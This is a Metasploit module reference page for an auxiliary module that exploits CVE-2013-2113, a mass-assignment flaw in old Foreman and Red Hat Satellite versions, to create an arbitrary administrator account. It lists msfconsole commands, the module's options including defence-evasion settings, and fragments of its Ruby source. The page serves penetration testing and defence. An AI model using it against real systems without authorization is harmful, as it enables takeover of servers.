Foreman (Red Hat OpenStack/Satellite) users/create Mass Assignment - Metasploit
This page contains detailed information about how to use the auxiliary/admin/http/foreman_openstack_satellite_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Foreman (Red Hat OpenStack/Satellite) users/create Mass Assignment
Module: auxiliary/admin/http/foreman_openstack_satellite_priv_esc
Source code: modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb
Disclosure date: 2013-06-06
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2013-2113
This module exploits a mass assignment vulnerability in the 'create' action of 'users' controller of Foreman and Red Hat OpenStack/Satellite (Foreman 1.2.0-RC1 and earlier) by creating an arbitrary administrator account. For this exploit to work, your account must have 'create_users' permission (e.g., Manager role).
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/http/foreman_openstack_satellite_priv_esc
msf auxiliary(foreman_openstack_satellite_priv_esc) > show targets
... a list of targets ...
msf auxiliary(foreman_openstack_satellite_priv_esc) > set TARGET target-id
msf auxiliary(foreman_openstack_satellite_priv_esc) > show options
... show and set options ...
msf auxiliary(foreman_openstack_satellite_priv_esc) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
USERNAME: Your username
PASSWORD: Your password
NEWUSERNAME: The username of the new admin account
NEWPASSWORD: The password of the new admin account
NEWEMAIL: The email of the new admin account
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Msfconsole Usage
Here is how the admin/http/foreman_openstack_satellite_priv_esc auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/http/foreman_openstack_satellite_priv_esc
msf6 auxiliary(admin/http/foreman_openstack_satellite_priv_esc) > show info
Name: Foreman (Red Hat OpenStack/Satellite) users/create Mass Assignment
Module: auxiliary/admin/http/foreman_openstack_satellite_priv_esc
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2013-06-06
Provided by:
Ramon de C Valle <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
NEWEMAIL yes The email of the new admin account
NEWPASSWORD yes The password of the new admin account
NEWUSERNAME yes The username of the new admin account
PASSWORD yes Your password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true yes Use SSL
TARGETURI / yes The path to the application
USERNAME yes Your username
VHOST no HTTP server virtual host
Description:
This module exploits a mass assignment vulnerability in the 'create'
action of 'users' controller of Foreman and Red Hat
OpenStack/Satellite (Foreman 1.2.0-RC1 and earlier) by creating an
arbitrary administrator account. For this exploit to work, your
account must have 'create_users' permission (e.g., Manager role).
References:
http://www.securityfocus.com/bid/60835
https://nvd.nist.gov/vuln/detail/CVE-2013-2113
https://cwe.mitre.org/data/definitions/915.html
OSVDB (94655)
https://bugzilla.redhat.com/show_bug.cgi?id=966804
http://projects.theforeman.org/issues/2630
Module Options
This is a complete list of options available in the admin/http/foreman_openstack_satellite_priv_esc auxiliary module:
msf6 auxiliary(admin/http/foreman_openstack_satellite_priv_esc) > show options
Module options (auxiliary/admin/http/foreman_openstack_satellite_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
NEWEMAIL yes The email of the new admin account
NEWPASSWORD yes The password of the new admin account
NEWUSERNAME yes The username of the new admin account
PASSWORD yes Your password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true yes Use SSL
TARGETURI / yes The path to the application
USERNAME yes Your username
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the admin/http/foreman_openstack_satellite_priv_esc auxiliary module:
msf6 auxiliary(admin/http/foreman_openstack_satellite_priv_esc) > show advanced
Module advanced options (auxiliary/admin/http/foreman_openstack_satellite_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/http/foreman_openstack_satellite_priv_esc module can do:
msf6 auxiliary(admin/http/foreman_openstack_satellite_priv_esc) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/http/foreman_openstack_satellite_priv_esc auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/http/foreman_openstack_satellite_priv_esc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No response from remote host
Here is a relevant code snippet related to the "No response from remote host" error message:
54: 'login[password]' => datastore['PASSWORD']
55: }
56: )
57:
58: if res.nil?
59: print_error('No response from remote host')
60: return
61: end
62:
63: if res.headers['Location'] =~ /users\/login$/
64: print_error('Authentication failed')
Authentication failed
Here is a relevant code snippet related to the "Authentication failed" error message:
59: print_error('No response from remote host')
60: return
61: end
62:
63: if res.headers['Location'] =~ /users\/login$/
64: print_error('Authentication failed')
65: return
66: else
67: session = $1 if res.get_cookies =~ /_session_id=([0-9a-f]*)/
68:
69: if session.nil?
Failed to retrieve the current session id
Here is a relevant code snippet related to the "Failed to retrieve the current session id" error message:
65: return
66: else
67: session = $1 if res.get_cookies =~ /_session_id=([0-9a-f]*)/
68:
69: if session.nil?
70: print_error('Failed to retrieve the current session id')
71: return
72: end
73: end
74:
75: print_status('Retrieving the CSRF token for this session...')
No response from remote host
Here is a relevant code snippet related to the "No response from remote host" error message:
78: 'method' => 'GET',
79: 'uri' => normalize_uri(target_uri)
80: )
81:
82: if res.nil?
83: print_error('No response from remote host')
84: return
85: end
86:
87: if res.headers['Location'] =~ /users\/login$/
88: print_error('Failed to retrieve the CSRF token')
Failed to retrieve the CSRF token
Here is a relevant code snippet related to the "Failed to retrieve the CSRF token" error message:
83: print_error('No response from remote host')
84: return
85: end
86:
87: if res.headers['Location'] =~ /users\/login$/
88: print_error('Failed to retrieve the CSRF token')
89: return
90: else
91: csrf_param = $1 if res.body =~ /<meta[ ]+content="(.*)"[ ]+name="csrf-param"[ ]*\/?>/i
92: csrf_token = $1 if res.body =~ /<meta[ ]+content="(.*)"[ ]+name="csrf-token"[ ]*\/?>/i
93:
Failed to retrieve the CSRF token
Here is a relevant code snippet related to the "Failed to retrieve the CSRF token" error message:
95: csrf_param = $1 if res.body =~ /<meta[ ]+name="csrf-param"[ ]+content="(.*)"[ ]*\/?>/i
96: csrf_token = $1 if res.body =~ /<meta[ ]+name="csrf-token"[ ]+content="(.*)"[ ]*\/?>/i
97: end
98:
99: if csrf_param.nil? || csrf_token.nil?
100: print_error('Failed to retrieve the CSRF token')
101: return
102: end
103: end
104:
105: print_status("Sending create-user request to #{target_url('users')}...")
No response from remote host
Here is a relevant code snippet related to the "No response from remote host" error message:
117: 'user[password_confirmation]' => datastore['NEWPASSWORD']
118: }
119: )
120:
121: if res.nil?
122: print_error('No response from remote host')
123: return
124: end
125:
126: if res.headers['Location'] =~ /users$/
127: print_good('User created successfully')
Failed to create user
Here is a relevant code snippet related to the "Failed to create user" error message:
124: end
125:
126: if res.headers['Location'] =~ /users$/
127: print_good('User created successfully')
128: else
129: print_error('Failed to create user')
130: end
131: end
132:
133: def target_url(*args)
134: (ssl ? 'https' : 'http') +
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Related Pull Requests
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #3354 Merged Pull Request: Resolved some msftidy warnings (Set-Cookie)
- #2525 Merged Pull Request: Change module boilerplate
- #2143 Merged Pull Request: Add foreman_openstack_satellite_priv_esc.rb
References
- BID-60835
- CVE-2013-2113
- CWE-915
- OSVDB (94655)
- https://bugzilla.redhat.com/show_bug.cgi?id=966804
- http://projects.theforeman.org/issues/2630
See Also
Check also the following modules related to this module:
- exploit/linux/http/foreman_openstack_satellite_code_exec
- auxiliary/admin/http/katello_satellite_priv_esc
- auxiliary/scanner/http/cisco_ssl_vpn_priv_esc
- auxiliary/admin/http/cisco_7937g_ssh_privesc
- auxiliary/admin/http/joomla_registration_privesc
- auxiliary/admin/http/manageengine_pmp_privesc
- auxiliary/admin/http/wp_automatic_plugin_privesc
- auxiliary/admin/http/wp_easycart_privilege_escalation
- auxiliary/admin/http/wp_gdpr_compliance_privesc
- auxiliary/admin/http/wp_masterstudy_privesc
- auxiliary/admin/http/wp_wplms_privilege_escalation
- auxiliary/admin/oracle/oracle_index_privesc
- auxiliary/admin/mssql/mssql_escalate_dbowner
- auxiliary/admin/mssql/mssql_escalate_dbowner_sqli
- auxiliary/admin/mssql/mssql_escalate_execute_as
- auxiliary/admin/mssql/mssql_escalate_execute_as_sqli
- auxiliary/admin/officescan/tmlisten_traversal
- auxiliary/dos/samba/lsa_addprivs_heap
- auxiliary/dos/smtp/sendmail_prescan
- auxiliary/gather/ldap_esc_vulnerable_cert_finder
- auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess
- auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration
- auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess
Authors
Ramon de C Valle
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
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